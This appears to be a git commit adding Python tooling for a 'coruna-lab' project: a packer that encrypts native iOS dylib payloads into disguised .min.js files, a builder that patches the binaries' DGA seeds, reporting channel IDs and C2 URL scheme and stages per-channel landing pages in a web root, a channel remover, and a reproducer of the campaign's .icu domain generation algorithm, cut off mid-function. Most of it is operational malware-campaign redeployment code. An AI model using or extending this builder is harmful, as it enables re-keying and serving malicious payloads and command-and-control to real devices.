feat: xxbb
This commit is contained in:
hashbro
Binary file not shown.
@@ -0,0 +1,62 @@
|
||||
"""Encrypt/decrypt Coruna secondary type-0x01 .min.js packs."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import lzma
|
||||
import struct
|
||||
|
||||
from Crypto.Cipher import ChaCha20
|
||||
|
||||
WRAP_MAGIC = b"\x0d\xf0\xed\x0b" # 0x0BEDF00D LE
|
||||
F00D_MAGIC = 0xF00DBEEF
|
||||
|
||||
|
||||
def build_f00dbeef_type01(dylib: bytes) -> bytes:
|
||||
"""Single-entry F00DBEEF used by this campaign's secondary packs."""
|
||||
header = struct.pack(
|
||||
"<6I",
|
||||
F00D_MAGIC,
|
||||
1, # version / entry-count field as in sample
|
||||
0x00010000, # type 0x01
|
||||
3,
|
||||
0x18, # payload offset
|
||||
len(dylib),
|
||||
)
|
||||
return header + dylib
|
||||
|
||||
|
||||
def wrap_xz(plaintext: bytes) -> bytes:
|
||||
compressed = lzma.compress(plaintext, format=lzma.FORMAT_XZ)
|
||||
return WRAP_MAGIC + struct.pack("<I", len(plaintext)) + compressed
|
||||
|
||||
|
||||
def unwrap_xz(blob: bytes) -> bytes:
|
||||
if blob[:4] != WRAP_MAGIC:
|
||||
raise ValueError(f"bad wrap magic: {blob[:4]!r}")
|
||||
expected = struct.unpack_from("<I", blob, 4)[0]
|
||||
plain = lzma.decompress(blob[8:])
|
||||
if len(plain) != expected:
|
||||
raise ValueError(f"xz size mismatch: {len(plain)} != {expected}")
|
||||
return plain
|
||||
|
||||
|
||||
def chacha_crypt(data: bytes, key: bytes) -> bytes:
|
||||
if len(key) != 32:
|
||||
raise ValueError("ChaCha20 key must be 32 bytes")
|
||||
return ChaCha20.new(key=key, nonce=b"\x00" * 8).encrypt(data)
|
||||
|
||||
|
||||
def encrypt_secondary_minjs(dylib: bytes, key: bytes) -> bytes:
|
||||
return chacha_crypt(wrap_xz(build_f00dbeef_type01(dylib)), key)
|
||||
|
||||
|
||||
def decrypt_secondary_minjs(blob: bytes, key: bytes) -> bytes:
|
||||
plain = unwrap_xz(chacha_crypt(blob, key))
|
||||
if struct.unpack_from("<I", plain, 0)[0] != F00D_MAGIC:
|
||||
raise ValueError("not F00DBEEF after decrypt")
|
||||
offset = struct.unpack_from("<I", plain, 16)[0]
|
||||
size = struct.unpack_from("<I", plain, 20)[0]
|
||||
dylib = plain[offset : offset + size]
|
||||
if len(dylib) != size:
|
||||
raise ValueError("truncated dylib in F00DBEEF")
|
||||
return dylib
|
||||
@@ -0,0 +1,569 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c).
|
||||
|
||||
Per-channel landing:
|
||||
{artifact-root}/source/{channel_name}/index.html
|
||||
Shared details stay at {artifact-root}/details/.
|
||||
|
||||
Seed resolution (same idea as channel-builder/tools/new_project.py):
|
||||
1. both --deployment-seed and --reporting-seed
|
||||
2. else {state-root}/lab_seeds.json
|
||||
3. else random generate + write lab_seeds.json
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import shutil
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
from reproduce_xxbb_dga import generate_domains
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
PROJECT_ROOT = BUILDER_ROOT.parent
|
||||
|
||||
SOURCE_WEIFILE = BUILDER_ROOT / "source" / "weifile"
|
||||
SOURCE_DETAILS = BUILDER_ROOT / "source" / "details"
|
||||
SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
|
||||
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
|
||||
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
LAB_SEEDS_NAME = "lab_seeds.json"
|
||||
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
|
||||
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
||||
CHANNEL_ROOT = "source"
|
||||
LANDING_NAME = "index.html"
|
||||
DGA_COUNT = 5
|
||||
|
||||
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
|
||||
ORIGINAL_REP = "68143bfa7130bb97a642196db0292a12"
|
||||
ORIGINAL_C = "202700cfb1ad3de68e11239dcc26c30b"
|
||||
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
|
||||
|
||||
RESERVED_CHANNEL_NAMES = frozenset(
|
||||
{
|
||||
"admin",
|
||||
"user",
|
||||
"api",
|
||||
"web",
|
||||
"sync",
|
||||
"details",
|
||||
"weifile",
|
||||
"hooks",
|
||||
"link",
|
||||
"statistic",
|
||||
"vhx",
|
||||
"event",
|
||||
"log",
|
||||
"storage",
|
||||
"build",
|
||||
"hot",
|
||||
"vendor",
|
||||
"css",
|
||||
"js",
|
||||
"up",
|
||||
"index",
|
||||
"assets",
|
||||
"static",
|
||||
"source",
|
||||
"channel",
|
||||
"out",
|
||||
"t",
|
||||
"a",
|
||||
"u",
|
||||
"uj",
|
||||
"us",
|
||||
"ub",
|
||||
"ba",
|
||||
"result",
|
||||
"favicon",
|
||||
"robots",
|
||||
"sitemap",
|
||||
"public",
|
||||
"app",
|
||||
"bootstrap",
|
||||
"config",
|
||||
"database",
|
||||
"resources",
|
||||
"routes",
|
||||
"tests",
|
||||
"artisan",
|
||||
"livewire",
|
||||
"sanctum",
|
||||
"telescope",
|
||||
"horizon",
|
||||
"pulse",
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
def pack_ascii32(name: str, value: str) -> bytes:
|
||||
data = value.encode("ascii")
|
||||
if len(data) > 32:
|
||||
raise SystemExit(f"{name} longer than 32 bytes ({len(data)}): {value!r}")
|
||||
if not data:
|
||||
raise SystemExit(f"{name} must be non-empty")
|
||||
return data + b"\x00" * (32 - len(data))
|
||||
|
||||
|
||||
def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect: int) -> int:
|
||||
count = 0
|
||||
start = 0
|
||||
while True:
|
||||
index = buf.find(old, start)
|
||||
if index < 0:
|
||||
break
|
||||
buf[index : index + 32] = new32
|
||||
count += 1
|
||||
start = index + 32
|
||||
if count != expect:
|
||||
raise SystemExit(
|
||||
f"{label}: unexpected hits for {old.decode('ascii', 'replace')} "
|
||||
f"count={count} (want {expect}). Already patched?"
|
||||
)
|
||||
return count
|
||||
|
||||
|
||||
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
|
||||
HTTPS_CSTRINGS = (
|
||||
b"https://backup%u.icu",
|
||||
b"https://%@",
|
||||
b"https://",
|
||||
b"https",
|
||||
)
|
||||
|
||||
|
||||
def http_cstring(https_s: bytes) -> bytes:
|
||||
if not https_s.startswith(b"https"):
|
||||
raise SystemExit(f"not an https C-string: {https_s!r}")
|
||||
return b"http" + https_s[5:]
|
||||
|
||||
|
||||
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
|
||||
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
|
||||
if b"\x00" in old or b"\x00" in new:
|
||||
raise SystemExit(f"{label}: C-string must not contain NUL")
|
||||
if len(new) > len(old):
|
||||
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
|
||||
old_c = old + b"\x00"
|
||||
new_c = new + b"\x00" * (len(old_c) - len(new))
|
||||
count = 0
|
||||
start = 0
|
||||
while True:
|
||||
index = buf.find(old_c, start)
|
||||
if index < 0:
|
||||
break
|
||||
buf[index : index + len(old_c)] = new_c
|
||||
count += 1
|
||||
start = index + len(old_c)
|
||||
if count != expect:
|
||||
raise SystemExit(
|
||||
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
|
||||
f"count={count} (want {expect})"
|
||||
)
|
||||
return count
|
||||
|
||||
|
||||
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
|
||||
if scheme == "https":
|
||||
for old in HTTPS_CSTRINGS:
|
||||
if buf.find(old + b"\x00") < 0:
|
||||
raise SystemExit(f"{label}: missing {old.decode()}\\0")
|
||||
return
|
||||
if scheme != "http":
|
||||
raise SystemExit("--scheme must be http or https")
|
||||
for old in HTTPS_CSTRINGS:
|
||||
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
|
||||
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
|
||||
raise SystemExit(f"{label}: https URL formats still present")
|
||||
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
|
||||
raise SystemExit(f"{label}: http URL formats missing after patch")
|
||||
|
||||
|
||||
def sha256_hex(data: bytes) -> str:
|
||||
return hashlib.sha256(data).hexdigest()
|
||||
|
||||
|
||||
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
|
||||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||
|
||||
|
||||
def load_keys() -> dict:
|
||||
meta = json.loads(SECONDARY_KEYS.read_text())
|
||||
stems = meta.get("stems")
|
||||
if not isinstance(stems, dict) or not stems:
|
||||
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
|
||||
return meta
|
||||
|
||||
|
||||
def group_dylib_path(group: str) -> Path:
|
||||
files = sorted(SOURCE_DYLIBS.glob(f"group_{group}_*.dylib"))
|
||||
if len(files) != 1:
|
||||
raise SystemExit(f"expected one source dylib for group {group}, found {files}")
|
||||
return files[0]
|
||||
|
||||
|
||||
def patch_dylib(
|
||||
data: bytes,
|
||||
*,
|
||||
deployment_seed: str,
|
||||
reporting_seed: str,
|
||||
channel_c: str,
|
||||
label: str,
|
||||
scheme: str = "https",
|
||||
) -> bytes:
|
||||
buf = bytearray(data)
|
||||
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
|
||||
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
|
||||
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
|
||||
patch_url_scheme(buf, scheme=scheme, label=label)
|
||||
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
|
||||
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
|
||||
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
||||
raise SystemExit(f"{label}: original c still present")
|
||||
return bytes(buf)
|
||||
|
||||
|
||||
def copy_tree(src: Path, dst: Path) -> None:
|
||||
if dst.exists():
|
||||
shutil.rmtree(dst)
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
|
||||
|
||||
|
||||
def validate_channel_name(value: str) -> str:
|
||||
name = (value or "").strip().lower()
|
||||
if not CHANNEL_NAME_RE.fullmatch(name):
|
||||
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
|
||||
if name in RESERVED_CHANNEL_NAMES:
|
||||
raise SystemExit(f"--channel-name {name!r} is reserved")
|
||||
return name
|
||||
|
||||
|
||||
def gen_seed() -> str:
|
||||
return secrets.token_hex(16)
|
||||
|
||||
|
||||
def utc_now() -> str:
|
||||
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||
|
||||
|
||||
def compute_domains(dep: str, rep: str, channel_c: str, count: int = DGA_COUNT) -> dict:
|
||||
"""First 5 hosts each native shared pool will try.
|
||||
|
||||
Both `sharedDeploymentPool` and `sharedReportingPool` init with the
|
||||
reporting-c CFString (the 32-byte slot this builder patches as channel_c),
|
||||
not the adjacent C-string dep/rep seeds. Lists are therefore identical.
|
||||
"""
|
||||
del dep, rep
|
||||
hosts = generate_domains(channel_c, count)
|
||||
return {"deployment": hosts, "reporting": list(hosts)}
|
||||
|
||||
|
||||
def load_lab_seeds(path: Path) -> dict | None:
|
||||
if not path.is_file():
|
||||
return None
|
||||
doc = json.loads(path.read_text())
|
||||
if not isinstance(doc, dict):
|
||||
raise SystemExit(f"invalid {path}: not an object")
|
||||
dep = doc.get("deployment_seed")
|
||||
rep = doc.get("reporting_seed")
|
||||
if not isinstance(dep, str) or not isinstance(rep, str) or not dep or not rep:
|
||||
raise SystemExit(f"invalid {path}: missing seeds")
|
||||
return doc
|
||||
|
||||
|
||||
def write_lab_seeds(
|
||||
path: Path,
|
||||
*,
|
||||
dep: str,
|
||||
rep: str,
|
||||
channel_c: str,
|
||||
domains: dict,
|
||||
existing: dict | None,
|
||||
) -> dict:
|
||||
now = utc_now()
|
||||
doc = {
|
||||
"schema_version": 1,
|
||||
"mode": "dga",
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"channel_c": channel_c,
|
||||
"dga_count": DGA_COUNT,
|
||||
"domains": domains,
|
||||
"created_at": (existing or {}).get("created_at") or now,
|
||||
"updated_at": now,
|
||||
}
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
path.write_text(json.dumps(doc, indent=2) + "\n")
|
||||
return doc
|
||||
|
||||
|
||||
def _looks_like_xxbb_domains(dep_list: list, rep_list: list) -> bool:
|
||||
if len(dep_list) < 1 or len(rep_list) < 1:
|
||||
return False
|
||||
return all(isinstance(x, str) and XXBB_DGA_HOST_RE.fullmatch(x) for x in dep_list[:DGA_COUNT] + rep_list[:DGA_COUNT])
|
||||
|
||||
|
||||
def _domains_from_existing(
|
||||
existing: dict | None, dep: str, rep: str, channel_c: str
|
||||
) -> tuple[dict, bool]:
|
||||
"""Return (domains, newly_computed)."""
|
||||
expected = compute_domains(dep, rep, channel_c)
|
||||
raw = (existing or {}).get("domains") if existing else None
|
||||
if isinstance(raw, dict):
|
||||
dep_list = raw.get("deployment")
|
||||
rep_list = raw.get("reporting")
|
||||
if (
|
||||
isinstance(dep_list, list)
|
||||
and isinstance(rep_list, list)
|
||||
and _looks_like_xxbb_domains(dep_list, rep_list)
|
||||
and [str(x) for x in dep_list[:DGA_COUNT]] == expected["deployment"]
|
||||
and [str(x) for x in rep_list[:DGA_COUNT]] == expected["reporting"]
|
||||
):
|
||||
return expected, False
|
||||
return expected, True
|
||||
|
||||
|
||||
def resolve_seeds(
|
||||
*,
|
||||
lab_seeds_path: Path,
|
||||
cli_dep: str | None,
|
||||
cli_rep: str | None,
|
||||
cli_c: str | None,
|
||||
) -> tuple[str, str, str, dict, bool]:
|
||||
"""Return dep, rep, channel_c, domains, seeds_initialized."""
|
||||
if bool(cli_dep) ^ bool(cli_rep):
|
||||
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
|
||||
|
||||
existing = load_lab_seeds(lab_seeds_path)
|
||||
channel_c = (cli_c or "").strip() or (
|
||||
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
|
||||
)
|
||||
pack_ascii32("--channel-c", channel_c)
|
||||
if channel_c == SEVEN_ZIP_PASSWORD:
|
||||
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
|
||||
|
||||
if cli_dep and cli_rep:
|
||||
dep = cli_dep.strip()
|
||||
rep = cli_rep.strip()
|
||||
pack_ascii32("--deployment-seed", dep)
|
||||
pack_ascii32("--reporting-seed", rep)
|
||||
if dep != rep:
|
||||
raise SystemExit("deployment and reporting seeds must match")
|
||||
if existing and existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep:
|
||||
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
|
||||
if computed or existing.get("channel_c") != channel_c:
|
||||
write_lab_seeds(
|
||||
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
||||
)
|
||||
return dep, rep, channel_c, domains, computed and existing is not None
|
||||
domains = compute_domains(dep, rep, channel_c)
|
||||
write_lab_seeds(
|
||||
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
||||
)
|
||||
return dep, rep, channel_c, domains, existing is None
|
||||
|
||||
if existing:
|
||||
dep = str(existing["deployment_seed"])
|
||||
rep = str(existing["reporting_seed"])
|
||||
pack_ascii32("--deployment-seed", dep)
|
||||
pack_ascii32("--reporting-seed", rep)
|
||||
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
|
||||
if computed:
|
||||
write_lab_seeds(
|
||||
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
|
||||
)
|
||||
return dep, rep, channel_c, domains, computed
|
||||
|
||||
dep = gen_seed()
|
||||
rep = dep
|
||||
domains = compute_domains(dep, rep, channel_c)
|
||||
write_lab_seeds(
|
||||
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=None
|
||||
)
|
||||
return dep, rep, channel_c, domains, True
|
||||
|
||||
|
||||
def default_state_root() -> Path:
|
||||
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js."
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument(
|
||||
"--channel-c",
|
||||
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-name",
|
||||
help="per-channel folder + html name; required with --apply",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
default=PROJECT_ROOT / "public",
|
||||
help="directory that will contain {channel_name}/ and details/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
type=Path,
|
||||
default=None,
|
||||
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--out",
|
||||
type=Path,
|
||||
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="copy weifile into {artifact}/source/{channel_name}/ and shared details/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--force",
|
||||
action="store_true",
|
||||
help="replace an existing {channel_name}/ directory",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scheme",
|
||||
choices=("http", "https"),
|
||||
default="https",
|
||||
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
state_root = (args.state_root or default_state_root()).resolve()
|
||||
state_root.mkdir(parents=True, exist_ok=True)
|
||||
dep, rep, channel_c, domains, seeds_initialized = resolve_seeds(
|
||||
lab_seeds_path=state_root / LAB_SEEDS_NAME,
|
||||
cli_dep=args.deployment_seed,
|
||||
cli_rep=args.reporting_seed,
|
||||
cli_c=args.channel_c,
|
||||
)
|
||||
|
||||
channel_name = ""
|
||||
if args.channel_name:
|
||||
channel_name = validate_channel_name(args.channel_name)
|
||||
elif args.apply:
|
||||
raise SystemExit("--channel-name is required with --apply")
|
||||
|
||||
meta = load_keys()
|
||||
stems = meta["stems"]
|
||||
groups = sorted({info["group"] for info in stems.values()})
|
||||
|
||||
patched: dict[str, bytes] = {}
|
||||
for group in groups:
|
||||
path = group_dylib_path(group)
|
||||
data = patch_dylib(
|
||||
path.read_bytes(),
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme=args.scheme,
|
||||
)
|
||||
patched[group] = data
|
||||
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
|
||||
|
||||
out = args.out
|
||||
if out is None:
|
||||
out = state_root / "out"
|
||||
out = out.resolve()
|
||||
out.mkdir(parents=True, exist_ok=True)
|
||||
(out / "dylibs").mkdir(exist_ok=True)
|
||||
for group, data in patched.items():
|
||||
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
|
||||
|
||||
built = []
|
||||
for stem, info in stems.items():
|
||||
group = info["group"]
|
||||
key = bytes.fromhex(info["key"])
|
||||
wire = encrypt_secondary_minjs(patched[group], key)
|
||||
check = decrypt_secondary_minjs(wire, key)
|
||||
if check != patched[group]:
|
||||
raise SystemExit(f"round-trip failed for {stem}")
|
||||
dest = out / f"{stem}.min.js"
|
||||
dest.write_bytes(wire)
|
||||
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
|
||||
print(f" wrote {dest.name} ({len(wire)} bytes)")
|
||||
|
||||
weifile_path = ""
|
||||
details_path = ""
|
||||
if args.apply:
|
||||
artifact = args.artifact_root.resolve()
|
||||
dest_channel = artifact / CHANNEL_ROOT / channel_name
|
||||
dest_details = artifact / "details"
|
||||
if dest_channel.exists() and not args.force:
|
||||
raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}")
|
||||
if not SOURCE_WEIFILE.is_dir():
|
||||
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
|
||||
if not SOURCE_DETAILS.is_dir():
|
||||
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
|
||||
copy_tree(SOURCE_WEIFILE, dest_channel)
|
||||
landing = dest_channel / LANDING_NAME
|
||||
src_html = dest_channel / "weifile.html"
|
||||
if not src_html.is_file():
|
||||
raise SystemExit(f"missing weifile.html in template copy: {src_html}")
|
||||
shutil.copy2(src_html, landing)
|
||||
copy_tree(SOURCE_DETAILS, dest_details)
|
||||
for item in built:
|
||||
src = out / f"{item['stem']}.min.js"
|
||||
dst = dest_channel / src.name
|
||||
shutil.copy2(src, dst)
|
||||
print(f"applied -> {dst}")
|
||||
print(f"applied details -> {dest_details}")
|
||||
weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}"
|
||||
details_path = "/details/"
|
||||
|
||||
print("deployment domains:")
|
||||
for i, domain in enumerate(domains.get("deployment") or [], 1):
|
||||
print(f" {i:03d} {domain}")
|
||||
print("reporting domains:")
|
||||
for i, domain in enumerate(domains.get("reporting") or [], 1):
|
||||
print(f" {i:03d} {domain}")
|
||||
|
||||
result = {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_name": channel_name or None,
|
||||
"weifile_path": weifile_path or None,
|
||||
"support_path": weifile_path or None,
|
||||
"details_path": details_path or None,
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": False,
|
||||
"domains": domains,
|
||||
"seeds": {
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"channel_c": channel_c,
|
||||
},
|
||||
"seven_zip_password": SEVEN_ZIP_PASSWORD,
|
||||
"files": built,
|
||||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||||
"scheme": args.scheme,
|
||||
"notes": [
|
||||
"details/core not patched; native /event c still original until a later pass",
|
||||
"index.js iptj URL / channelCode not patched",
|
||||
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
|
||||
f"native DGA/C2 scheme={args.scheme}",
|
||||
],
|
||||
}
|
||||
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
|
||||
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Delete one channel's {channel_name}/ tree; leave shared details/ and lab_seeds.json intact."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import shutil
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import build as xxbb_build
|
||||
|
||||
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Remove {channel_name}/ from artifact root")
|
||||
parser.add_argument("--channel-name", required=True)
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
default=xxbb_build.PROJECT_ROOT / "public",
|
||||
help="shared artifact root (default: coruna-lab/public)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
channel_name = xxbb_build.validate_channel_name(args.channel_name)
|
||||
artifact_root = args.artifact_root.resolve()
|
||||
channel_dir = artifact_root / xxbb_build.CHANNEL_ROOT / channel_name
|
||||
removed = False
|
||||
if channel_dir.is_dir():
|
||||
shutil.rmtree(channel_dir)
|
||||
removed = True
|
||||
print(f"removed {channel_dir}")
|
||||
else:
|
||||
print(f"missing {channel_dir} (noop)")
|
||||
|
||||
result = {
|
||||
"status": "deleted" if removed else "absent",
|
||||
"channel_name": channel_name,
|
||||
"artifact_root": str(artifact_root),
|
||||
"removed": removed,
|
||||
}
|
||||
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,147 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Offline reproducer for xxbb PLServerPool domain generation.
|
||||
|
||||
Native path (type-0x01 `_generateDomainsLocked` → helper at 0x81fe0):
|
||||
srandom(murmur2_0x12345678(seed))
|
||||
for i in 0 .. count-1:
|
||||
burn murmur2(seed + "%ld" % i) % 10000 calls to random()
|
||||
15 chars from [a-z0-9] via random() % 36
|
||||
format as "%@.icu"
|
||||
|
||||
The shared Deployment/Reporting pools both pass the reporting-c CFString
|
||||
as `seed`. This script performs no DNS lookups.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
|
||||
MASK32 = 0xFFFFFFFF
|
||||
MURMUR_M = 0x5BD1E995
|
||||
MURMUR_SEED = 0x12345678
|
||||
ALNUM = "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
LABEL_LEN = 15
|
||||
TLD = ".icu"
|
||||
NATIVE_POOL_SIZE = 512
|
||||
|
||||
KNOWN_SEEDS = {
|
||||
"channel-c": "202700cfb1ad3de68e11239dcc26c30b",
|
||||
"deployment": "321fb0c812b46265421b5ad9654c2b81",
|
||||
"reporting": "68143bfa7130bb97a642196db0292a12",
|
||||
}
|
||||
|
||||
|
||||
def murmur_hash2(value: str, seed: int = MURMUR_SEED) -> int:
|
||||
data = value.encode("utf-8")
|
||||
result = (seed ^ len(data)) & MASK32
|
||||
offset = 0
|
||||
while offset + 4 <= len(data):
|
||||
block = int.from_bytes(data[offset : offset + 4], "little")
|
||||
block = (block * MURMUR_M) & MASK32
|
||||
block ^= block >> 24
|
||||
block = (block * MURMUR_M) & MASK32
|
||||
result = (result * MURMUR_M) & MASK32
|
||||
result ^= block
|
||||
offset += 4
|
||||
tail = data[offset:]
|
||||
if len(tail) == 3:
|
||||
result ^= tail[2] << 16
|
||||
if len(tail) >= 2:
|
||||
result ^= tail[1] << 8
|
||||
if len(tail) >= 1:
|
||||
result ^= tail[0]
|
||||
result = (result * MURMUR_M) & MASK32
|
||||
result ^= result >> 13
|
||||
result = (result * MURMUR_M) & MASK32
|
||||
result ^= result >> 15
|
||||
return result & MASK32
|
||||
|
||||
|
||||
def _to_i32(value: int) -> int:
|
||||
value &= MASK32
|
||||
return value - 0x100000000 if value >= 0x80000000 else value
|
||||
|
||||
|
||||
def _good_rand(value: int) -> int:
|
||||
"""Park–Miller LCG used by Apple/BSD srandom() (not the weak 1103515245 seed)."""
|
||||
x = _to_i32(value)
|
||||
if x == 0:
|
||||
x = 123459876
|
||||
hi = int(x / 127773) # C truncates toward zero; Python // floors
|
||||
lo = x - hi * 127773
|
||||
x = 16807 * lo - 2836 * hi
|
||||
if x < 0:
|
||||
x += 0x7FFFFFFF
|
||||
return x & MASK32
|
||||
|
||||
|
||||
class BSDRandom:
|
||||
"""Apple libsystem_c TYPE_3 random()/srandom() (deg=31, sep=3)."""
|
||||
|
||||
DEG = 31
|
||||
SEP = 3
|
||||
|
||||
def __init__(self) -> None:
|
||||
self.state = [0] * self.DEG
|
||||
self.f = self.SEP
|
||||
self.r = 0
|
||||
|
||||
def srandom(self, seed: int) -> None:
|
||||
self.state[0] = seed & MASK32
|
||||
for i in range(1, self.DEG):
|
||||
self.state[i] = _good_rand(self.state[i - 1])
|
||||
self.f = self.SEP
|
||||
self.r = 0
|
||||
for _ in range(10 * self.DEG):
|
||||
self.random()
|
||||
|
||||
def random(self) -> int:
|
||||
self.state[self.f] = (self.state[self.f] + self.state[self.r]) & MASK32
|
||||
value = (self.state[self.f] >> 1) & 0x7FFFFFFF
|
||||
self.f += 1
|
||||
if self.f >= self.DEG:
|
||||
self.f = 0
|
||||
self.r += 1
|
||||
else:
|
||||
self.r += 1
|
||||
if self.r >= self.DEG:
|
||||
self.r = 0
|
||||
return value
|
||||
|
||||
|
||||
def generate_domains(seed: str, count: int = 5) -> list[str]:
|
||||
"""First `count` hosts the native pool would try (pool itself holds 512)."""
|
||||
if not 1 <= count <= NATIVE_POOL_SIZE:
|
||||
raise ValueError(f"count must be between 1 and {NATIVE_POOL_SIZE}")
|
||||
rng = BSDRandom()
|
||||
rng.srandom(murmur_hash2(seed))
|
||||
domains: list[str] = []
|
||||
for index in range(count):
|
||||
burn = murmur_hash2(f"{seed}{index}") % 10000
|
||||
for _ in range(burn):
|
||||
rng.random()
|
||||
